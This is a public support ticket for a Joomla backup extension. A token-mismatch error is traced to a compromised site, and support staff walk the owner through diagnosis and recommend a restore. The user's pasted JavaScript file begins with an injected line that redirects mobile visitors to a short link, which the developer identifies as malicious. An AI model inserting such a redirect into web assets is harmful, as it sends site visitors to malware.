Support

Akeeba Backup for Joomla!

#43515 The security token did not match.

Posted in ‘Akeeba Backup for Joomla!’
This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version
5.4.10
PHP version
8.4
Akeeba Backup version
10.5

Latest post by nicholas on Wednesday, 18 November 2026 01:13 CST

gtcnetworking

Hi

I recently found suspicious files in a site. They were removed and no damage appeared done.
However much later I realized that automatic backups had stopped.

When I try a manual backup I immediately get a " The security token did not match. The request was cancelled to prevent any security breach. Please try again."

There are no logs created. Admin tools works fine and most functions of Akeeba work, except backup and the configuration wizard.
Also I cannot update Akeeba. Fails with a "Copy file  failed".

Yet other extensions work  can be updated. Even Joomla update.

I am trying to avoid a restore becuase it is a active shop site and everything else is working.

Any suggestions ?

 

 

 

moira

I’m sorry to hear about the trouble. Since you want to avoid a restore, let’s first find out what’s actually blocking these two things. I can’t say for certain what is going on from your description alone, so I need a few facts from you. These checks are all read-only; they won’t change anything on your site.

1. The exact “Copy file failed” message

Please reply with the full text of the error you get when updating Akeeba Backup, especially the file or folder path it mentions (if it shows one). Please also tell me where you are updating from: Joomla’s Update page, or by uploading the package ZIP in System, Install, Extensions.

2. File ownership and permissions

“Copy file failed” while other extensions update fine usually means Joomla is not allowed to overwrite some files or folders belonging to that one extension. After a clean-up of suspicious files, it’s possible some files or folders ended up with a different owner or permissions than the rest of your site. I can’t confirm that this is the case here, so please check, over SFTP or your hosting file manager, the owner and permissions of these folders and the files inside them:

  • administrator/components/com_akeebabackup
  • components/com_akeebabackup
  • api/components/com_akeebabackup
  • media/com_akeebabackup
  • plugins/actionlog/akeebabackup
  • plugins/console/akeebabackup
  • plugins/pagecache/akeebabackup
  • plugins/quickicon/akeebabackup
  • plugins/system/akwarn
  • plugins/system/backuponupdate
  • plugins/task/akeebabackup
  • plugins/webservices/akeebabackup

Compare them with, say, administrator/components/com_admintools. Tell me what differs (owner, group, permissions). If you don’t see the owner column, your host can read it for you.

3. The security token error

Open the Akeeba Backup Control Panel and press F12 to open your browser’s developer tools. Go to the Network tab, click Backup Now, then click the failed request (it will be shown in red, and its address looks like index.php?option=com_akeebabackup&view=Backup&task=ajax). Tell me the HTTP status code and what the Response tab shows. A screenshot is fine.

Also, please go to Components, Admin Tools, Web Application Firewall, Blocked Requests Log, and tell me whether there are entries from your IP address at the time you tried to take the backup. This will tell me if anything is blocking the request before it reaches Akeeba Backup.

4. Joomla system information

Go to System, System Information, Directory Permissions. Please tell me if anything there (particularly the tmp, administrator/logs and administrator/cache folders) is shown as Unwritable.

About the missing logs

That part is expected. The token check happens before the backup starts, so no log file is created yet.

About the suspicious files

Please keep in mind that an earlier compromise can leave things behind, such as changed files or additional admin accounts, that you don’t see as a visible problem. If you haven’t already, run Admin Tools’ PHP File Change Scanner and review the Super User accounts, and make sure Joomla, your extensions and your templates are all up to date, as they are the most common way in. I’m not saying that this is what is happening here; it’s a precaution given what you found.

Once I have these details I can tell you what to try next, without having to restore your shop.

Moira Fari

Support Specialist

🇬🇧English: native 🕐 My time zone is Asia / Nicosia
Kindly note that my replies are fully vetted by our developers.

gtcnetworking

HI

Your first suggestion solved the problem.  I found several directories with the wrong permissions.

However I had already thought of that and run Admin Tools to fix any permissions which it appeared to do with error.
But when I checked manually it had not changed any permissions. Even re-running it made no difference.
I had to use another program to change the permissions.

I have updated both backup and Tools now, and will run a test to see if Admin Tools does in fact find and fix invalid permissions.

Thanks for your help.

Rgds

 

 

gtcnetworking

I replied too soon.

Permissions fixed the updating problem but not the invalid token.

So I will continue with your other suggestions.

 

gtcnetworking

I could not find any error in red

This is the output

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/OHMEfesqS0r4");
"use strict";window.akeebabackup=window.akeebabackup||{},window.akeebabackup.Ajax=window.akeebabackup.Ajax||{xhrSuccessStatus:{0:200,1223:204},requestArray:[],processingQueue:!1,ajax:function(a,b){"undefined"==typeof b&&(b=a,a=b.url);var c="undefined"==typeof b.type?"POST":b.type;c=c.toUpperCase();var d="undefined"==typeof b.data?{}:b.data,e=null,f="undefined"==typeof b.success?null:b.success,g="undefined"==typeof b.error?null:b.error,h="undefined"!=typeof b.cache&&b.url;if(!h){var i=new Date().getTime()/1e3,j=parseInt(i,10);d._cacheBustingJunk=Math.round(1e3*(i-j))/1e3}"POST"===c||"PUT"===c?e=this.interpolateParameters(d):(a+=-1===a.indexOf("?")?"?":"&",a+=this.interpolateParameters(d));var k=new XMLHttpRequest;k.open(c,a),("POST"===c||"PUT"===c)&&k.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),k.onload=function(){var a=akeebabackup.Ajax.xhrSuccessStatus[k.status]||k.status,b=k.statusText,c="text"!==(k.responseType||"text")||"string"!=typeof k.responseText,d=c?k.response:k.responseText,e=k.getAllResponseHeaders();return 200===a?void(null!=f&&akeebabackup.Ajax.triggerCallbacks(f,d,b,k)):void(g&&akeebabackup.Ajax.triggerCallbacks(g,k,"error",null))},k.onerror=function(){g&&akeebabackup.Ajax.triggerCallbacks(g,k,"error",null)},window.attachEvent&&!window.addEventListener&&(k.onreadystatechange=function(){if(4===this.readyState){var a=akeebabackup.Ajax.xhrSuccessStatus[this.status]||this.status;200<=a&&400>a?k.onload():k.onerror()}}),k.ontimeout=function(){g&&akeebabackup.Ajax.triggerCallbacks(g,k,"timeout",null)},k.onabort=function(){g&&akeebabackup.Ajax.triggerCallbacks(g,k,"abort",null)};var l="undefined"==typeof b.timeout?6e5:b.timeout;0<l&&(k.timeout=l);"undefined"!=typeof b.beforeSend&&!1===b.beforeSend(k,b)||k.send(e)},enqueue:function(a,b){"undefined"==typeof b&&(b=a,a=b.url),b.url=a,akeebabackup.Ajax.requestArray.push(b),akeebabackup.Ajax.processQueue()},interpolateParameters:function(a,b){b=b||"";var c="";for(var d in a)if(a.hasOwnProperty(d)){if(0<c.length&&(c+="&"),"object"!=typeof a[d]){c+=""===b?encodeURIComponent(d)+"="+encodeURIComponent(a[d]):encodeURIComponent(b)+"["+encodeURIComponent(d)+"]="+encodeURIComponent(a[d]);continue;}c+=akeebabackup.Ajax.interpolateParameters(a[d],d)}return c;},triggerCallbacks:function(){var a=Array.prototype.slice.call(arguments),b=a.shift();if("function"==typeof b)return b.apply(null,a);if(b instanceof Array)for(var c,d=0;d<b.length;d++)if(c=b[d],!1===c.apply(null,a))return!1;return null;},processQueueHelper:function(){akeebabackup.Ajax.processingQueue=!1,setTimeout(akeebabackup.Ajax.processQueue,50)},processQueue:function(){if(!akeebabackup.Ajax.requestArray.length)return void(akeebabackup.Ajax.processingQueue=!1);if(!akeebabackup.Ajax.processingQueue){var a=akeebabackup.Ajax.requestArray.shift(),b=a.url,c="undefined"==typeof a.success?[]:a.success,d="undefined"==typeof a.error?[]:a.error;"object"==typeof c&&c instanceof Array||(c=[c]),"object"==typeof d&&d instanceof Array||(d=[d]),c.unshift(akeebabackup.Ajax.processQueueHelper),d.unshift(akeebabackup.Ajax.processQueueHelper),a.success=c,a.error=d,akeebabackup.Ajax.processingQueue=!0,akeebabackup.Ajax.ajax(b,a)}}},"undefined"==typeof akeebabackup.System&&(akeebabackup.System={notification:{hasDesktopNotification:!1,iconURL:"",askPermission:function(){var a=Joomla.getOptions("akeebabackup.System.notification.hasDesktopNotification",akeebabackup.System.notification.hasDesktopNotification);a&&void 0!==window.Notification&&("default"!==window.Notification.permission||window.Notification.requestPermission())},notify:function(a,b,c){if(void 0!==window.Notification&&"granted"===window.Notification.permission){void 0===c&&(c=5e3),void 0===b&&(b="");var d=new window.Notification(a,{body:b,icon:Joomla.getOptions("akeebabackup.System.notification.iconURL",akeebabackup.System.notification.iconURL)});0<c&&setTimeout(function(a){return function(){a.close()};}(d),c)}}},params:{AjaxURL:"",errorCallback:null,password:"",errorDialogId:"errorDialog",errorDialogMessageId:"errorDialogPre"},findElement:function(a){return"undefined"==typeof a?null:null===a?null:("string"==typeof a&&(a=document.getElementById(a)),"object"==typeof a?a instanceof Element?a:null:null)},defaultErrorHandler:function(a){null==a||"undefined"==typeof a||alert("An error has occurred\n"+a)},modalErrorHandler:function(a){var b=Joomla.getOptions("akeebabackup.System.params.errorDialogId",akeebabackup.System.params.errorDialogId),c=Joomla.getOptions("akeebabackup.System.params.errorDialogMessageId",akeebabackup.System.params.errorDialogMessageId),d=document.getElementById(b),e="error";if(null!=d){var f=document.getElementById(c);f.innerHTML=a,e=d.innerHTML}new window.bootstrap.Modal(d).show()},doAjax:function(a,b,c,d,e){null==d&&(d=!0);var f=new Date().getTime()/1e3,g=parseInt(f+"",10);a._cacheBustingJunk=Math.round(1e3*(f-g))/1e3,null==e&&(e=6e5);var h=Joomla.getOptions("akeebabackup.System.params.AjaxURL",akeebabackup.System.params.AjaxURL);a.hasOwnProperty("ajaxURL")&&(h=a.ajaxURL,delete a.url);var i=!0;a.hasOwnProperty("useTripleHash")&&(i=a.useTripleHash,delete a.useTripleHash);var j=!0;a.hasOwnProperty("parseResponseAsJSON")&&(j=a.parseResponseAsJSON,delete a.parseResponseAsJSON),null==c&&(c=Joomla.getOptions("akeebabackup.System.params.errorCallback",akeebabackup.System.params.errorCallback||akeebabackup.System.modalErrorHandler)),null==c&&(c=akeebabackup.System.defaultErrorHandler);var k={type:"POST",url:h,cache:!1,data:a,timeout:e,success:function(a){var d="";if(i){var e=a.indexOf("###");if(-1===e)return a=akeebabackup.System.sanitizeErrorMessage(a),a="Invalid AJAX data: "+a,void c(a);}d=a,i&&(0!==e&&(d=a.substr(e)),d=d.substr(3),e=d.lastIndexOf("###"),d=d.substr(0,e));try{var f=JSON.parse(d);}catch(b){return d=akeebabackup.System.sanitizeErrorMessage(d),a=b.message+"\n<br/>\n<pre>\n"+d+"\n</pre>",void c(a);}b(f)},error:function(a,b){var d=a.responseText?a.responseText:"",e="<strong>AJAX Loading Error</strong><br/>HTTP Status: "+a.status+" ("+a.statusText+")<br/>";e=e+"Internal status: "+b+"<br/>",e=e+"XHR ReadyState: "+a.readyState+"<br/>",e=e+"Raw server response:<br/>"+akeebabackup.System.sanitizeErrorMessage(d),c(e)}};return d?void akeebabackup.Ajax.enqueue(k):void akeebabackup.Ajax.ajax(k)},sanitizeErrorMessage:function(a){if(-1<a.indexOf("<script"))try{a=new DOMParser().parseFromString(null!==a&&void 0!==a?a:"","text/html").textContent}catch(b){a="(HTML containing script tags)"}return a;},addEventListener:function(a,b,c){a=akeebabackup.System.findElement(a);a&&a.addEventListener(b,c)},removeEventListener:function(a,b,c){a=akeebabackup.System.findElement(a);a&&a.removeEventListener(b,c)},triggerEvent:function(a,b){if(a=akeebabackup.System.findElement(a),!!a){var c=null;c=document.createEvent("Event"),c.initEvent(b,!0,!0),a.dispatchEvent(c)}},documentReady:function(){},iterateNodes:function(a,b,c){if("function"==typeof b&&("string"==typeof a&&(a=document.querySelectorAll(a)),0!==a.length)){var d,e;for(d=0;d<a.length;d++){if(e=a[d],"undefined"!=typeof c){b(e,c);continue;}b(e)}}},assignDefaultErrorHandler:function(){akeebabackup.System.params.errorCallback=akeebabackup.System.modalErrorHandler;var a=Joomla.getOptions("akeebabackup.System.params.errorDialogId",akeebabackup.System.params.errorDialogId),b=Joomla.getOptions("akeebabackup.System.params.errorDialogMessageId",akeebabackup.System.params.errorDialogMessageId);if(""===a||null===a||""===b||null===b)return void(akeebabackup.System.params.errorCallback=akeebabackup.System.defaultErrorHandler);var c=document.getElementById(a),d=document.getElementById(b);(null===c||null===d)&&(akeebabackup.System.params.errorCallback=akeebabackup.System.defaultErrorHandler)},escapeHTML:function(a){return a.split("&").join("&amp;").split("<").join("&lt;").split(">").join("&gt;");},CommonEvents:{onEventSubmit:function(a){var b,c=a.currentTarget,d=null!==(b=c.dataset.akeebasubmittarget)&&void 0!==b?b:"",e=document.forms.adminForm?document.forms.adminForm:null;return!(""!==d&&(e=document.getElementById(d)),!!e)||(e.submit(),a.preventDefault(),!1)},onClickConfirm:function(a){var b,c=a.currentTarget,d=null!==(b=c.akeebaconfirmmessage)&&void 0!==b?b:"";if(""===d)return!0;var e=confirm(Joomla.Text._(d));return!!e||(a.preventDefault(),!1)},onEventOrderTable:function(a){a.currentTarget;return a.preventDefault(),Joomla.orderTable(),!1;},init:function(){akeebabackup.System.iterateNodes(".akeebaCommonEventsOnChangeSubmit",function(a){akeebabackup.System.addEventListener(a,"change",akeebabackup.System.CommonEvents.onEventSubmit)}),akeebabackup.System.iterateNodes(".akeebaCommonEventsOnClickSubmit",function(a){akeebabackup.System.addEventListener(a,"click",akeebabackup.System.CommonEvents.onEventSubmit)}),akeebabackup.System.iterateNodes(".akeebaCommonEventsOnClickConfirm",function(a){akeebabackup.System.addEventListener(a,"click",akeebabackup.System.CommonEvents.onClickConfirm)}),akeebabackup.System.iterateNodes(".akeebaCommonEventsOnChangeOrderTable",function(a){akeebabackup.System.addEventListener(a,"change",akeebabackup.System.CommonEvents.onEventOrderTable)})}}}),Math.uuid=Math.uuid||function(){var a=["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];return function(b,c){var d=a,e=[];if(c=c||d.length,b)for(var f=0;f<b;f++)e[f]=d[0|Math.random()*c];else{var g;e[8]=e[13]=e[18]=e[23]="-",e[14]="4";for(var f=0;36>f;f++)e[f]||(g=0|16*Math.random(),e[f]=d[19===f?8|3&g:g]);}return e.join("");};}(),function(a,b){function c(){if(!f){f=!0;for(var a=0;a<e.length;a++)e[a].fn.call(window,e[a].ctx);e=[]}}function d(){"complete"===document.readyState&&c()}a=a||"documentReady",b=b||akeebabackup.System;var e=[],f=!1,g=!1;b[a]=function(a,b){return f?void setTimeout(function(){a(b)},1):(e.push({fn:a,ctx:b}),"complete"===document.readyState||!document.attachEvent&&"interactive"===document.readyState)?void setTimeout(c,1):g?void 0:(g=!0,document.addEventListener?(document.addEventListener("DOMContentLoaded",c,!1),void window.addEventListener("load",c,!1)):void(document.attachEvent("onreadystatechange",d),window.attachEvent("onload",c)))}}("documentReady",akeebabackup.System),akeebabackup.System.documentReady(function(){akeebabackup.System.assignDefaultErrorHandler(),akeebabackup.System.iterateNodes(".akeebaGridViewCheckAll",function(a){akeebabackup.System.addEventListener(a,"click",function(){Joomla.checkAll(this)})}),akeebabackup.System.iterateNodes(".akeebaGridViewOrderTable",function(a){akeebabackup.System.addEventListener(a,"change",akeebabackup.System.orderTable)}),akeebabackup.System.iterateNodes(".akeebaGridViewAutoSubmitOnChange",function(a){akeebabackup.System.addEventListener(a,"change",function(){Joomla.submitForm()})}),akeebabackup.System.CommonEvents.init()});
//# sourceMappingURL=System.min.js.map

gtcnetworking

Web application firewall is chowing no blocked request from my IP

 

nicholas
Akeeba Staff
Manager

Based on the contents of the file you pasted, your site appears to be hacked. Here's why. The file you pasted is media/com_akeebabackup/js/System.min.js. The first line of the file you pasted is:

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|…/i.test(navigator.userAgent))&&location.replace("https://u-short.net/…");

This is not a line we have shipped or would have ever shipped in our software. This is a malicious redirection for mobile devices.

DO NOT TRY TO VISIT THE SHORT LINK IN THAT CODE! It is most definitely malware.

Your site having been hacked would also explain the wrong permissions. The attacker probably made everything they touched unwritable to prevent an unattended update from working, thus overriding their malicious changes.

Beyond that, the file pasted seems to be from 10.3.6 or earlier. Since 10.3.7, the script sends Joomla’s anti-CSRF token with every request, and the backup and Configuration Wizard code on the server checks for it. The file you pasted never sends a token. If the server has the new code and your browser receives this old script, you get exactly “The security token did not match”, straight away, with no log file. I believe this is what is happening, but I can’t be certain until the file is replaced. The likely reason for the mismatch is that earlier updates failed halfway because of the wrong permissions, and left old files behind in media/com_akeebabackup. It could also be a cached copy.

Since your site is hacked, everything else is a moot point. Delete the entire site and restore it from the last known good backup. Then, clear all caches including any CDN you may be using in front of your site.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Support Information

Working hours: We are open Monday to Friday, 9am to 7pm Cyprus timezone (EET / EEST). Support is provided by the same developers writing the software, all of which live in Europe. You can still file tickets outside of our working hours, but we cannot respond to them until we're back at the office.

Support policy: We would like to kindly inform you that when using our support you have already agreed to the Support Policy which is part of our Terms of Service. Thank you for your understanding and for helping us help you!